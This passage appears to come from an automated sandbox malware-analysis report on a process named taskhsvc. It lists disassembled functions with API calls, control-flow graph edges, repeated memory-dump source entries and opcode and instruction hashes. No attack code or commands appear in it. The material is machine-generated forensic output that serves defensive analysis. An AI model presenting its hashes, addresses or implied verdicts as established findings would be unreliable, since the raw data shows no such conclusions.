                                        • Instruction ID: f4f12112ca26e93db3f4a841540bc51353bb90c8c1c95bf533cb2d6248003097
                                        • Opcode Fuzzy Hash: ea85fa485b772eaee3374b8152d3ae1b6e301bf66d940ae49461dc06be35a29c
                                        • Instruction Fuzzy Hash: E22119B0504705CFC740EFA9E50622EBBF0EF84344F118918F5A8AB246E7B4D9448BB3
                                        Function 00D3C797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D3C8C7
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00D3C7F0
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abort
                                        • String ID: xC
                                        • API String ID: 1190921433-4061282587
                                        • Opcode ID: 2bca20bb2aa226b2fe005f8935d4b4e685704644140603b10b87dbcc906d55c5
                                        • Instruction ID: 4ed15f5a0b8d67b8475a666b00ccea97e660a98ab8e307961b4d41cf54a8f2e5
                                        • Opcode Fuzzy Hash: 2bca20bb2aa226b2fe005f8935d4b4e685704644140603b10b87dbcc906d55c5
                                        • Instruction Fuzzy Hash: A43106B0904301AFD740EF69D54535EBBE0FB85718F00D91DE498AB391D7B8E9448F66
                                        Function 00D436C7 Relevance: 30.2, APIs: 14, Strings: 3, Instructions: 411COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 106 d436c7-d43714 107 d43716-d43742 call d16562 call d19764 abort 106->107 108 d43747-d43753 106->108 107->108 110 d43755-d43781 call d16562 call d19764 abort 108->110 111 d43786-d43792 108->111 110->111 114 d43794-d437c0 call d16562 call d19764 abort 111->114 115 d437c5-d437d1 111->115 114->115 116 d43804-d4387f call d21144 call d430c6 inflateInit2_ 115->116 117 d437d3-d437ff call d16562 call d19764 abort 115->117 135 d438c5-d438d4 116->135 136 d43881-d43889 116->136 117->116 137 d438d6 135->137 138 d438dd-d438e4 135->138 139 d43893 136->139 140 d4388b-d43891 136->140 137->138 142 d43caf 138->142 143 d438ea-d4390d call d2107e 138->143 141 d43898-d438c0 call d13842 139->141 140->141 145 d43cb0-d43cb4 141->145 142->145 154 d43910-d43914 143->154 148 d43cb6-d43ccd inflateEnd 145->148 149 d43ce1-d43ce8 145->149 148->149 151 d43ccf-d43cda free 148->151 152 d43d11 149->152 153 d43cea-d43cf9 149->153 151->149 156 d43d16-d43d1f 152->156 153->152 155 d43cfb-d43d0b free 153->155 157 d43916-d4391b 154->157 158 d4391d 154->158 155->152 159 d43d26-d43d27 156->159 160 d43d21 __stack_chk_fail 156->160 161 d43922-d43933 inflate 157->161 158->161 160->159 162 d43a15-d43a19 161->162 163 d43939-d4393c 161->163 164 d43a29-d43a3a 162->164 165 d43a1b-d43a23 162->165 166 d4394c-d43954 163->166 167 d4393e-d43941 163->167 169 d43a40-d43a48 164->169 171 d43bf5 164->171 165->164 170 d43bfe 165->170 172 d4395a-d4396c inflateEnd 166->172 173 d43bfb-d43bfc 166->173 168 d43947-d43bb3 167->168 167->169 188 d43bb5-d43bbb 168->188 189 d43bbd 168->189 175 d43a72-d43a99 169->175 176 d43a4a-d43a6d call d13842 169->176 180 d43bff-d43c31 inflateEnd 170->180 177 d43bf6 171->177 178 d43997-d439cb call d430c6 inflateInit2_ 172->178 179 d4396e-d43992 call d13842 172->179 173->180 183 d43ac4-d43ad8 call d43174 175->183 184 d43a9b-d43abf call d13842 175->184 176->145 177->154 199 d439d1-d439d9 178->199 200 d43bef-d43bf0 178->200 179->145 186 d43c45-d43c49 180->186 187 d43c33-d43c3e free 180->187 210 d43b03-d43b0a 183->210 211 d43ada-d43afe call d13842 183->211 184->145 194 d43c71-d43c79 186->194 195 d43c4b-d43c6f call d13842 186->195 187->186 197 d43bc2-d43bea call d13842 188->197 189->197 203 d43c99-d43cad 194->203 204 d43c7b-d43c97 call d21282 194->204 195->145 197->145 207 d439e3 199->207 208 d439db-d439e1 199->208 200->154 203->156 204->203 215 d439e8-d43a10 call d13842 207->215 208->215 213 d43b35-d43b44 call d21282 210->213 214 d43b0c-d43b30 call d13842 210->214 211->145 223 d43b49-d43b70 213->223 214->145 215->145 225 d43b72-d43b96 call d13842 223->225 226 d43b9b-d43ba9 223->226 225->145 226->177
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: inflate$__stack_chk_failabort$free$Init2_strrchr
                                        • String ID: $<no message>$d
                                        • API String ID: 2382867454-3433205503
                                        • Opcode ID: 8c2e722c0d10eb784d4a717688d7481bf00ce5b63dbdb58cbf0c1c6e615e44a9
                                        • Instruction ID: 7ef750f1cb7526883af64616ee0a49fd5369c11d69ba37b6559c517c4d35f20d
                                        • Opcode Fuzzy Hash: 8c2e722c0d10eb784d4a717688d7481bf00ce5b63dbdb58cbf0c1c6e615e44a9
                                        • Instruction Fuzzy Hash: B112CFB4A086059FDB00DFA8D08569DBBF0EF88318F15D859E898AB351D774DA84CF62
                                        Function 00BDFEE4 Relevance: 28.5, APIs: 9, Strings: 7, Instructions: 533COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 229 bdfee4-bdff4b time 230 bdff4d-bdff79 call d16562 call d19764 abort 229->230 231 bdff7e-bdff8a 229->231 230->231 233 bdffbd-bdffd0 231->233 234 bdff8c-bdffb8 call d16562 call d19764 abort 231->234 237 be0003-be0017 233->237 238 bdffd2-bdfffe call d16562 call d19764 abort 233->238 234->233 239 be007e-be008d 237->239 240 be0019-be002c 237->240 238->237 248 be008f-be009e 239->248 249 be00e0-be00f9 239->249 244 be002e-be0033 240->244 245 be0035 240->245 251 be003a-be0047 call c1f792 244->251 245->251 248->249 255 be00a0-be00ad call c1f792 248->255 252 be011d-be0149 call d16562 call d19764 abort 249->252 253 be00fb-be011b 249->253 270 be0049-be004e 251->270 271 be0050 251->271 258 be014e-be015d 252->258 253->252 253->258 268 be00af-be00b4 255->268 269 be00b6 255->269 265 be0344-be037f call d1663e 258->265 266 be0163-be017f 258->266 295 be03a9-be03ed 265->295 296 be0381-be039e 265->296 273 be01b2-be01ca 266->273 274 be0181-be01ad call d16562 call d19764 abort 266->274 277 be00bb-be00db call d13842 268->277 269->277 280 be0055-be0079 call d13842 270->280 271->280 278 be01cc-be01e4 273->278 279 be0243-be025b 273->279 274->273 297 be0778-be0781 277->297 278->265 285 be01ea-be01f7 call c1f792 278->285 279->265 283 be0261-be0285 call d22b81 279->283 280->297 299 be02b8-be033f call bdcfb4 call c77b99 call c11f0b 283->299 300 be0287-be02b3 call d16562 call d19764 abort 283->300 306 be01f9-be01fe 285->306 307 be0200 285->307 302 be03ef-be03f3 295->302 303 be0411-be0415 295->303 296->295 301 be03a0-be03a6 296->301 304 be0788-be078f 297->304 305 be0783 __stack_chk_fail 297->305 299->265 300->299 301->295 302->303 309 be03f5-be040f call d1663e call d2d610 302->309 312 be042f-be043e 303->312 313 be0417-be041b 303->313 305->304 311 be0205-be023e call d13842 call c12e76 306->311 307->311 309->312 311->297 314 be0513-be0517 312->314 313->312 319 be041d-be042a call d2d6aa 313->319 321 be0528-be0538 314->321 322 be0519-be0522 314->322 319->312 329 be05aa-be05c2 321->329 330 be053a-be0550 call c494ef 321->330 322->321 327 be0443-be046a call bdc3a0 322->327 346 be046c-be0479 call c1f792 327->346 347 be04c5-be04ec call d2da95 327->347 334 be05f7-be0603 call c14518 329->334 335 be05c4-be05d7 call c14d23 329->335 330->329 349 be0552-be05a5 call c4926c call bf5aff 330->349 348 be0608-be060a 334->348 335->334 351 be05d9-be05f2 call c12e76 335->351 365 be047b-be0480 346->365 366 be0482 346->366 362 be04ee-be0507 call c11e58 347->362 363 be0509-be050f 347->363 353 be0697-be06a4 call d2d28c 348->353 354 be0610-be0643 call c1fe5f call c1f792 348->354 349->329 351->297 372 be06bd 353->372 373 be06a6-be06bb call d2e04a 353->373 383 be064c 354->383 384 be0645-be064a 354->384 362->321 363->314 371 be0487-be04c0 call d13842 call c12e76 365->371 366->371 371->297 378 be06c2-be0750 call bdcfb4 call d221a4 call c1fe5f call d13842 372->378 373->378 398 be0755-be0773 time call bf47d0 378->398 385 be0651-be0692 call d13842 call c12e76 383->385 384->385 385->398 398->297
                                        APIs
                                        • time.MSVCRT ref: 00BDFF0D
                                        • abort.MSVCRT ref: 00BDFF79
                                        • abort.MSVCRT ref: 00BDFFB8
                                        • abort.MSVCRT ref: 00BDFFFE
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BE0783
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00BE0149
                                        • abort.MSVCRT ref: 00BE01AD
                                        • abort.MSVCRT ref: 00BE02B3
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                          • Part of subcall function 00D1663E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BDBB06), ref: 00D1666A
                                          • Part of subcall function 00D2D610: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D2BA31), ref: 00D2D666
                                          • Part of subcall function 00D2D610: memset.MSVCRT ref: 00D2D681
                                          • Part of subcall function 00D2D610: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00D2BA31), ref: 00D2D6A3
                                          • Part of subcall function 00D2DA95: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C564FC), ref: 00D2DAE3
                                        • time.MSVCRT ref: 00BE075C
                                          • Part of subcall function 00C11E58: __stack_chk_fail.LIBSSP-0 ref: 00C11F04
                                          • Part of subcall function 00D2D28C: abort.MSVCRT ref: 00D2D2DC
                                          • Part of subcall function 00D2D28C: __stack_chk_fail.LIBSSP-0 ref: 00D2D3BB
                                          • Part of subcall function 00D2E04A: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D2E0EC), ref: 00D2E0B0
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$strrchrtime$memset
                                        • String ID: <none>$@N$]=$`=$a v1$non-versioned$p=
                                        • API String ID: 167597707-4007019273
                                        • Opcode ID: 9a4eccef6db1498caaeb0ea02928942882010eab5ee1cdb517273aec75ce955e
                                        • Instruction ID: ce7236999ef226cbc083072a2aeb8f6df1d13a9f604b715ede2090964622fdb9
                                        • Opcode Fuzzy Hash: 9a4eccef6db1498caaeb0ea02928942882010eab5ee1cdb517273aec75ce955e
                                        • Instruction Fuzzy Hash: 7242E3B4A143488FCB40EFA9C585AADBBF1FF44304F0584A9E9889B352D774D885DF62
